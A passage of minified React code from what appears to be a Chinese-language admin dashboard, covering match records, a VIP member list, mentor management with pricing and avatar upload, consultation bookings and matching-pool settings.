pt-2",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.matchFromDB,onCheckedChange:E=>m({...f,matchFromDB:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"从数据库匹配"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.showJoinAfterMatch,onCheckedChange:E=>m({...f,showJoinAfterMatch:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"匹配后显示加入"})]}),s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx(kt,{checked:f.enabled,onCheckedChange:E=>m({...f,enabled:E})}),s.jsx(X,{className:"text-gray-300 text-sm",children:"启用"})]})]})]}),s.jsxs(on,{children:[s.jsx(te,{variant:"outline",onClick:()=>c(!1),className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:"取消"}),s.jsxs(te,{onClick:v,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),"保存"]})]})]})})]})}const kw={partner:"找伙伴",investor:"资源对接",mentor:"导师顾问",team:"团队招募"};function EV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o,c]=b.useState(10),[u,h]=b.useState(""),[f,m]=b.useState(!0),[g,y]=b.useState(null);async function N(){m(!0),y(null);try{const v=new URLSearchParams({page:String(a),pageSize:String(o)});u&&v.set("matchType",u);const k=await De(`/api/db/match-records?${v}`);k!=null&&k.success?(e(k.records||[]),r(k.total??0)):y("加载匹配记录失败")}catch(v){console.error("加载匹配记录失败",v),y("加载失败,请检查网络后重试")}finally{m(!1)}}b.useEffect(()=>{N()},[a,u]);const w=Math.ceil(n/o)||1;return s.jsxs("div",{className:"p-8 w-full",children:[g&&s.jsxs("div",{className:"mb-4 px-4 py-3 rounded-lg bg-red-500/20 border border-red-500/50 text-red-400 text-sm flex items-center justify-between",children:[s.jsx("span",{children:g}),s.jsx("button",{type:"button",onClick:()=>y(null),className:"hover:text-red-300",children:"×"})]}),s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsx("h2",{className:"text-2xl font-bold text-white",children:"匹配记录"}),s.jsxs("p",{className:"text-gray-400 mt-1",children:["找伙伴匹配统计,共 ",n," 条记录"]})]}),s.jsxs("div",{className:"flex items-center gap-4",children:[s.jsxs("select",{value:u,onChange:v=>{h(v.target.value),i(1)},className:"bg-[#0f2137] border border-gray-700 text-white rounded-lg px-3 py-2 text-sm",children:[s.jsx("option",{value:"",children:"全部类型"}),Object.entries(kw).map(([v,k])=>s.jsx("option",{value:v,children:k},v))]}),s.jsxs("button",{type:"button",onClick:N,disabled:f,className:"flex items-center gap-2 px-4 py-2 rounded-lg border border-gray-600 text-gray-300 hover:bg-gray-700/50 transition-colors disabled:opacity-50",children:[s.jsx(qe,{className:`w-4 h-4 ${f?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:s.jsx(Ee,{className:"p-0",children:f?s.jsxs("div",{className:"flex justify-center py-12",children:[s.jsx(qe,{className:"w-6 h-6 text-[#38bdac] animate-spin"}),s.jsx("span",{className:"ml-2 text-gray-400",children:"加载中..."})]}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] hover:bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"发起人"}),s.jsx(ke,{className:"text-gray-400",children:"匹配到"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"联系方式"}),s.jsx(ke,{className:"text-gray-400",children:"匹配时间"})]})}),s.jsxs(dr,{children:[t.map(v=>s.jsxs(it,{className:"hover:bg-[#0a1628] border-gray-700/50",children:[s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.userAvatar?s.jsx("img",{src:v.userAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.userAvatar?"hidden":"",children:(v.userNickname||v.userId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.userNickname||v.userId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.userId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsxs("div",{className:"w-9 h-9 rounded-full bg-[#38bdac]/20 flex items-center justify-center text-sm font-medium text-[#38bdac] flex-shrink-0 overflow-hidden",children:[v.matchedUserAvatar?s.jsx("img",{src:v.matchedUserAvatar,alt:"",className:"w-full h-full object-cover",onError:k=>{k.currentTarget.style.display="none";const C=k.currentTarget.nextElementSibling;C&&C.classList.remove("hidden")}}):null,s.jsx("span",{className:v.matchedUserAvatar?"hidden":"",children:(v.matchedNickname||v.matchedUserId||"?").charAt(0)})]}),s.jsxs("div",{children:[s.jsx("div",{className:"text-white",children:v.matchedNickname||v.matchedUserId}),s.jsxs("div",{className:"text-xs text-gray-500 font-mono",children:[v.matchedUserId.slice(0,16),"..."]})]})]})}),s.jsx(ve,{children:s.jsx(We,{className:"bg-[#38bdac]/20 text-[#38bdac] border-0",children:kw[v.matchType]||v.matchType})}),s.jsxs(ve,{className:"text-gray-400 text-sm",children:[v.phone&&s.jsxs("div",{children:["📱 ",v.phone]}),v.wechatId&&s.jsxs("div",{children:["💬 ",v.wechatId]}),!v.phone&&!v.wechatId&&"-"]}),s.jsx(ve,{className:"text-gray-400",children:v.createdAt?new Date(v.createdAt).toLocaleString():"-"})]},v.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"暂无匹配记录"})})]})]}),s.jsx(is,{page:a,totalPages:w,total:n,pageSize:o,onPageChange:i,onPageSizeChange:v=>{c(v),i(1)}})]})})})]})}function TV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0);async function a(){r(!0);try{const i=await De("/api/db/vip-members?limit=100");if(i!=null&&i.success&&i.data){const o=[...i.data].map((c,u)=>({...c,vipSort:typeof c.vipSort=="number"?c.vipSort:u+1}));o.sort((c,u)=>(c.vipSort??999999)-(u.vipSort??999999)),e(o)}}catch(i){console.error("Load VIP members error:",i),ie.error("加载 VIP 成员失败")}finally{r(!1)}}return b.useEffect(()=>{a()},[]),s.jsxs("div",{className:"p-8 w-full",children:[s.jsx("div",{className:"flex justify-between items-center mb-8",children:s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(yl,{className:"w-5 h-5 text-amber-400"}),"用户管理 / 超级个体列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"这里展示所有有效超级个体用户,仅用于查看其基本信息与排序值。"})]})}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400 w-20",children:"序号"}),s.jsx(ke,{className:"text-gray-400",children:"成员"}),s.jsx(ke,{className:"text-gray-400 w-40",children:"超级个体"}),s.jsx(ke,{className:"text-gray-400 w-28",children:"排序值"})]})}),s.jsxs(dr,{children:[t.map((i,o)=>{var c;return s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:o+1}),s.jsx(ve,{children:s.jsxs("div",{className:"flex items-center gap-3",children:[i.avatar?s.jsx("img",{src:i.avatar,className:"w-8 h-8 rounded-full object-cover border border-amber-400/60"}):s.jsx("div",{className:"w-8 h-8 rounded-full bg-amber-500/20 border border-amber-400/60 flex items-center justify-center text-amber-300 text-sm",children:((c=i.name)==null?void 0:c[0])||"创"}),s.jsx("div",{className:"min-w-0",children:s.jsx("div",{className:"text-white text-sm truncate",children:i.name})})]})}),s.jsx(ve,{className:"text-gray-300",children:i.vipRole||s.jsx("span",{className:"text-gray-500",children:"(未设置超级个体)"})}),s.jsx(ve,{className:"text-gray-300",children:i.vipSort??o+1})]},i.id)}),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:5,className:"text-center py-12 text-gray-500",children:"当前没有有效的超级个体用户。"})})]})]})})})]})}function B4(t){const[e,n]=b.useState([]),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(null),[h,f]=b.useState({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:0,enabled:!0}),[m,g]=b.useState(!1),[y,N]=b.useState(!1),w=b.useRef(null),v=async R=>{var z;const D=(z=R.target.files)==null?void 0:z[0];if(D){N(!0);try{const Z=new FormData;Z.append("file",D),Z.append("folder","mentors");const ne=pf(),fe={};ne&&(fe.Authorization=`Bearer ${ne}`);const $=await(await fetch(go("/api/upload"),{method:"POST",body:Z,credentials:"include",headers:fe})).json();$!=null&&$.success&&($!=null&&$.url)?f(H=>({...H,avatar:$.url})):ie.error("上传失败: "+(($==null?void 0:$.error)||"未知错误"))}catch(Z){console.error(Z),ie.error("上传失败")}finally{N(!1),w.current&&(w.current.value="")}}};async function k(){a(!0);try{const R=await De("/api/db/mentors");R!=null&&R.success&&R.data&&n(R.data)}catch(R){console.error("Load mentors error:",R)}finally{a(!1)}}b.useEffect(()=>{k()},[]);const C=()=>{f({name:"",avatar:"",intro:"",tags:"",priceSingle:"",priceHalfYear:"",priceYear:"",quote:"",whyFind:"",offering:"",judgmentStyle:"",sort:e.length>0?Math.max(...e.map(R=>R.sort))+1:0,enabled:!0})},E=()=>{u(null),C(),o(!0)},T=R=>{u(R),f({name:R.name,avatar:R.avatar||"",intro:R.intro||"",tags:R.tags||"",priceSingle:R.priceSingle!=null?String(R.priceSingle):"",priceHalfYear:R.priceHalfYear!=null?String(R.priceHalfYear):"",priceYear:R.priceYear!=null?String(R.priceYear):"",quote:R.quote||"",whyFind:R.whyFind||"",offering:R.offering||"",judgmentStyle:R.judgmentStyle||"",sort:R.sort,enabled:R.enabled??!0}),o(!0)},I=async()=>{if(!h.name.trim()){ie.error("导师姓名不能为空");return}g(!0);try{const R=z=>z===""?void 0:parseFloat(z),D={name:h.name.trim(),avatar:h.avatar.trim()||void 0,intro:h.intro.trim()||void 0,tags:h.tags.trim()||void 0,priceSingle:R(h.priceSingle),priceHalfYear:R(h.priceHalfYear),priceYear:R(h.priceYear),quote:h.quote.trim()||void 0,whyFind:h.whyFind.trim()||void 0,offering:h.offering.trim()||void 0,judgmentStyle:h.judgmentStyle.trim()||void 0,sort:h.sort,enabled:h.enabled};if(c){const z=await zt("/api/db/mentors",{id:c.id,...D});z!=null&&z.success?(o(!1),k()):ie.error("更新失败: "+(z==null?void 0:z.error))}else{const z=await vt("/api/db/mentors",D);z!=null&&z.success?(o(!1),k()):ie.error("新增失败: "+(z==null?void 0:z.error))}}catch(R){console.error("Save error:",R),ie.error("保存失败")}finally{g(!1)}},O=async R=>{if(confirm("确定删除该导师?"))try{const D=await Bs(`/api/db/mentors?id=${R}`);D!=null&&D.success?k():ie.error("删除失败: "+(D==null?void 0:D.error))}catch(D){console.error("Delete error:",D),ie.error("删除失败")}},L=R=>R!=null?`¥${R}`:"-";return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(Zn,{className:"w-5 h-5 text-[#38bdac]"}),"导师管理"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师列表,支持每个导师独立配置单次/半年/年度价格"})]}),s.jsxs(te,{onClick:E,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增导师"]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:r?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"姓名"}),s.jsx(ke,{className:"text-gray-400",children:"简介"}),s.jsx(ke,{className:"text-gray-400",children:"单次"}),s.jsx(ke,{className:"text-gray-400",children:"半年"}),s.jsx(ke,{className:"text-gray-400",children:"年度"}),s.jsx(ke,{className:"text-gray-400",children:"排序"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[e.map(R=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:R.id}),s.jsx(ve,{className:"text-white",children:R.name}),s.jsx(ve,{className:"text-gray-400 max-w-[200px] truncate",children:R.intro||"-"}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceSingle)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceHalfYear)}),s.jsx(ve,{className:"text-gray-400",children:L(R.priceYear)}),s.jsx(ve,{className:"text-gray-400",children:R.sort}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>T(R),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>O(R.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},R.id)),e.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:8,className:"text-center py-12 text-gray-500",children:"暂无导师,点击「新增导师」添加"})})]})]})})}),s.jsx(Dt,{open:i,onOpenChange:o,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-lg max-h-[90vh] overflow-y-auto",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:c?"编辑导师":"新增导师"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名 *"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:卡若",value:h.name,onChange:R=>f(D=>({...D,name:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"排序"}),s.jsx(se,{type:"number",className:"bg-[#0a1628] border-gray-700 text-white",value:h.sort,onChange:R=>f(D=>({...D,sort:parseInt(R.target.value,10)||0}))})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头像"}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:h.avatar,onChange:R=>f(D=>({...D,avatar:R.target.value})),placeholder:"点击上传或粘贴图片地址"}),s.jsx("input",{ref:w,type:"file",accept:"image/*",className:"hidden",onChange:v}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:y,onClick:()=>{var R;return(R=w.current)==null?void 0:R.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),y?"上传中...":"上传"]})]}),h.avatar&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:h.avatar.startsWith("http")?h.avatar:go(h.avatar),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"简介"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:结构判断型咨询 · Decision > Execution",value:h.intro,onChange:R=>f(D=>({...D,intro:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"技能标签(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:项目结构判断、风险止损、人×项目匹配",value:h.tags,onChange:R=>f(D=>({...D,tags:R.target.value}))})]}),s.jsxs("div",{className:"border-t border-gray-700 pt-4",children:[s.jsx(X,{className:"text-gray-300 block mb-2",children:"价格配置(每个导师独立)"}),s.jsxs("div",{className:"grid grid-cols-3 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"单次咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"980",value:h.priceSingle,onChange:R=>f(D=>({...D,priceSingle:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"半年咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"19800",value:h.priceHalfYear,onChange:R=>f(D=>({...D,priceHalfYear:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-500 text-xs",children:"年度咨询 ¥"}),s.jsx(se,{type:"number",step:"0.01",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"29800",value:h.priceYear,onChange:R=>f(D=>({...D,priceYear:R.target.value}))})]})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"引言"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:大多数人失败,不是因为不努力...",value:h.quote,onChange:R=>f(D=>({...D,quote:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"为什么找(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.whyFind,onChange:R=>f(D=>({...D,whyFind:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"提供什么(文本)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"",value:h.offering,onChange:R=>f(D=>({...D,offering:R.target.value}))})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"判断风格(逗号分隔)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"如:冷静、克制、偏风险视角",value:h.judgmentStyle,onChange:R=>f(D=>({...D,judgmentStyle:R.target.value}))})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("input",{type:"checkbox",id:"enabled",checked:h.enabled,onChange:R=>f(D=>({...D,enabled:R.target.checked})),className:"rounded border-gray-600 bg-[#0a1628]"}),s.jsx(X,{htmlFor:"enabled",className:"text-gray-300 cursor-pointer",children:"上架(小程序可见)"})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>o(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:I,disabled:m,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),m?"保存中...":"保存"]})]})]})})]})}function MV(){const[t,e]=b.useState([]),[n,r]=b.useState(!0),[a,i]=b.useState("");async function o(){r(!0);try{const h=a?`/api/db/mentor-consultations?status=${a}`:"/api/db/mentor-consultations",f=await De(h);f!=null&&f.success&&f.data&&e(f.data)}catch(h){console.error("Load consultations error:",h)}finally{r(!1)}}b.useEffect(()=>{o()},[a]);const c={created:"已创建",pending_pay:"待支付",paid:"已支付",completed:"已完成",cancelled:"已取消"},u={single:"单次",half_year:"半年",year:"年度"};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(ch,{className:"w-5 h-5 text-[#38bdac]"}),"导师预约列表"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"stitch_soul 导师咨询预约记录"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsxs("select",{value:a,onChange:h=>i(h.target.value),className:"bg-[#0f2137] border border-gray-700 rounded-lg px-3 py-2 text-gray-300 text-sm",children:[s.jsx("option",{value:"",children:"全部状态"}),Object.entries(c).map(([h,f])=>s.jsx("option",{value:h,children:f},h))]}),s.jsxs(te,{onClick:o,disabled:n,variant:"outline",className:"border-gray-600 text-gray-300",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${n?"animate-spin":""}`}),"刷新"]})]})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:n?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户ID"}),s.jsx(ke,{className:"text-gray-400",children:"导师ID"}),s.jsx(ke,{className:"text-gray-400",children:"类型"}),s.jsx(ke,{className:"text-gray-400",children:"金额"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"})]})}),s.jsxs(dr,{children:[t.map(h=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:h.id}),s.jsx(ve,{className:"text-gray-400",children:h.userId}),s.jsx(ve,{className:"text-gray-400",children:h.mentorId}),s.jsx(ve,{className:"text-gray-400",children:u[h.consultationType]||h.consultationType}),s.jsxs(ve,{className:"text-white",children:["¥",h.amount]}),s.jsx(ve,{className:"text-gray-400",children:c[h.status]||h.status}),s.jsx(ve,{className:"text-gray-500 text-sm",children:h.createdAt})]},h.id)),t.length===0&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:"暂无预约记录"})})]})]})})})]})}const Lc={poolSource:["vip"],requirePhone:!0,requireNickname:!0,requireAvatar:!1,requireBusiness:!1},Sw={matchTypes:[{id:"partner",label:"找伙伴",matchLabel:"找伙伴",icon:"⭐",matchFromDB:!0,showJoinAfterMatch:!1,price:1,enabled:!0},{id:"investor",label:"资源对接",matchLabel:"资源对接",icon:"👥",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"mentor",label:"导师顾问",matchLabel:"导师顾问",icon:"❤️",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0},{id:"team",label:"团队招募",matchLabel:"加入项目",icon:"🎮",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}],freeMatchLimit:3,matchPrice:1,settings:{enableFreeMatches:!0,enablePaidMatches:!0,maxMatchesPerDay:10},poolSettings:Lc},AV=["⭐","👥","❤️","🎮","💼","🚀","💡","🎯","🔥","✨"];function IV(){const t=Ci(),[e,n]=b.useState(Sw),[r,a]=b.useState(!0),[i,o]=b.useState(!1),[c,u]=b.useState(!1),[h,f]=b.useState(null),[m,g]=b.useState({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),[y,N]=b.useState(null),[w,v]=b.useState(!1),k=async()=>{v(!0);try{const D=await De("/api/db/match-pool-counts");D!=null&&D.success&&D.data&&N(D.data)}catch(D){console.error("加载池子人数失败:",D)}finally{v(!1)}},C=async()=>{a(!0);try{const D=await De("/api/db/config/full?key=match_config"),z=(D==null?void 0:D.data)??(D==null?void 0:D.config);if(z){let Z=z.poolSettings??Lc;Z.poolSource&&!Array.isArray(Z.poolSource)&&(Z={...Z,poolSource:[Z.poolSource]}),n({...Sw,...z,poolSettings:Z})}}catch(D){console.error("加载匹配配置失败:",D)}finally{a(!1)}};b.useEffect(()=>{C(),k()},[]);const E=async()=>{o(!0);try{const D=await vt("/api/db/config",{key:"match_config",value:e,description:"匹配功能配置"});ie.error((D==null?void 0:D.success)!==!1?"配置保存成功!":"保存失败: "+((D==null?void 0:D.error)||"未知错误"))}catch(D){console.error(D),ie.error("保存失败")}finally{o(!1)}},T=D=>{f(D),g({...D}),u(!0)},I=()=>{f(null),g({id:"",label:"",matchLabel:"",icon:"⭐",matchFromDB:!1,showJoinAfterMatch:!0,price:1,enabled:!0}),u(!0)},O=()=>{if(!m.id||!m.label){ie.error("请填写类型ID和名称");return}const D=[...e.matchTypes];if(h){const z=D.findIndex(Z=>Z.id===h.id);z!==-1&&(D[z]={...m})}else{if(D.some(z=>z.id===m.id)){ie.error("类型ID已存在");return}D.push({...m})}n({...e,matchTypes:D}),u(!1)},L=D=>{confirm("确定要删除这个匹配类型吗?")&&n({...e,matchTypes:e.matchTypes.filter(z=>z.id!==D)})},R=D=>{n({...e,matchTypes:e.matchTypes.map(z=>z.id===D?{...z,enabled:!z.enabled}:z)})};return s.jsxs("div",{className:"space-y-6",children:[s.jsxs("div",{className:"flex justify-end gap-3",children:[s.jsxs(te,{variant:"outline",onClick:C,disabled:r,className:"border-gray-600 text-gray-300 hover:bg-gray-700/50 bg-transparent",children:[s.jsx(qe,{className:`w-4 h-4 mr-2 ${r?"animate-spin":""}`})," 刷新"]}),s.jsxs(te,{onClick:E,disabled:i,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"})," ",i?"保存中...":"保存配置"]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(Qw,{className:"w-5 h-5 text-blue-400"})," 匹配池选择"]}),s.jsx(It,{className:"text-gray-400",children:"选择匹配的用户池和完善程度要求,只有满足条件的用户才可被匹配到"})]}),s.jsxs(Ee,{className:"space-y-6",children:[s.jsxs("div",{className:"space-y-3",children:[s.jsx(X,{className:"text-gray-300",children:"匹配来源池"}),s.jsx("p",{className:"text-gray-500 text-xs",children:"可同时勾选多个池子(取并集匹配)"}),s.jsx("div",{className:"grid grid-cols-1 md:grid-cols-3 gap-3",children:[{value:"vip",label:"超级个体(VIP会员)",desc:"付费 ¥1980 的VIP会员",icon:"👑",countKey:"vip"},{value:"complete",label:"完善资料用户",desc:"符合下方完善度要求的用户",icon:"✅",countKey:"complete"},{value:"all",label:"全部用户",desc:"所有已注册用户",icon:"👥",countKey:"all"}].map(D=>{const z=e.poolSettings??Lc,ne=(Array.isArray(z.poolSource)?z.poolSource:[z.poolSource]).includes(D.value),fe=y==null?void 0:y[D.countKey],xe=()=>{const $=Array.isArray(z.poolSource)?[...z.poolSource]:[z.poolSource],H=ne?$.filter(oe=>oe!==D.value):[...$,D.value];H.length===0&&H.push(D.value),n({...e,poolSettings:{...z,poolSource:H}})};return s.jsxs("button",{type:"button",onClick:xe,className:`p-4 rounded-lg border text-left transition-all ${ne?"border-[#38bdac] bg-[#38bdac]/10":"border-gray-700 bg-[#0a1628] hover:border-gray-600"}`,children:[s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx("div",{className:`w-5 h-5 rounded border-2 flex items-center justify-center text-xs ${ne?"border-[#38bdac] bg-[#38bdac] text-white":"border-gray-600"}`,children:ne&&"✓"}),s.jsx("span",{className:"text-xl",children:D.icon}),s.jsx("span",{className:`text-sm font-medium ${ne?"text-[#38bdac]":"text-gray-300"}`,children:D.label})]}),s.jsxs("span",{className:"text-lg font-bold text-white",children:[w?"...":fe??"-",s.jsx("span",{className:"text-xs text-gray-500 font-normal ml-1",children:"人"})]})]}),s.jsx("p",{className:"text-gray-500 text-xs mt-2",children:D.desc}),s.jsx("span",{role:"link",tabIndex:0,onClick:$=>{$.stopPropagation(),t(`/users?pool=${D.value}`)},onKeyDown:$=>{$.key==="Enter"&&($.stopPropagation(),t(`/users?pool=${D.value}`))},className:"text-[#38bdac] text-xs mt-2 inline-block hover:underline cursor-pointer",children:"查看用户列表 →"})]},D.value)})})]}),s.jsxs("div",{className:"space-y-3 pt-4 border-t border-gray-700/50",children:[s.jsx(X,{className:"text-gray-300",children:"用户资料完善要求(被匹配用户必须满足以下条件)"}),s.jsx("div",{className:"grid grid-cols-2 md:grid-cols-4 gap-4",children:[{key:"requirePhone",label:"有手机号",icon:"📱"},{key:"requireNickname",label:"有昵称",icon:"👤"},{key:"requireAvatar",label:"有头像",icon:"🖼️"},{key:"requireBusiness",label:"有业务需求",icon:"💼"}].map(D=>{const Z=(e.poolSettings??Lc)[D.key];return s.jsxs("div",{className:"flex items-center gap-3 bg-[#0a1628] rounded-lg p-3",children:[s.jsx(kt,{checked:Z,onCheckedChange:ne=>n({...e,poolSettings:{...e.poolSettings??Lc,[D.key]:ne}})}),s.jsxs("div",{className:"flex items-center gap-1.5",children:[s.jsx("span",{children:D.icon}),s.jsx(X,{className:"text-gray-300 text-sm",children:D.label})]})]},D.key)})})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"text-white flex items-center gap-2",children:[s.jsx(li,{className:"w-5 h-5 text-yellow-400"})," 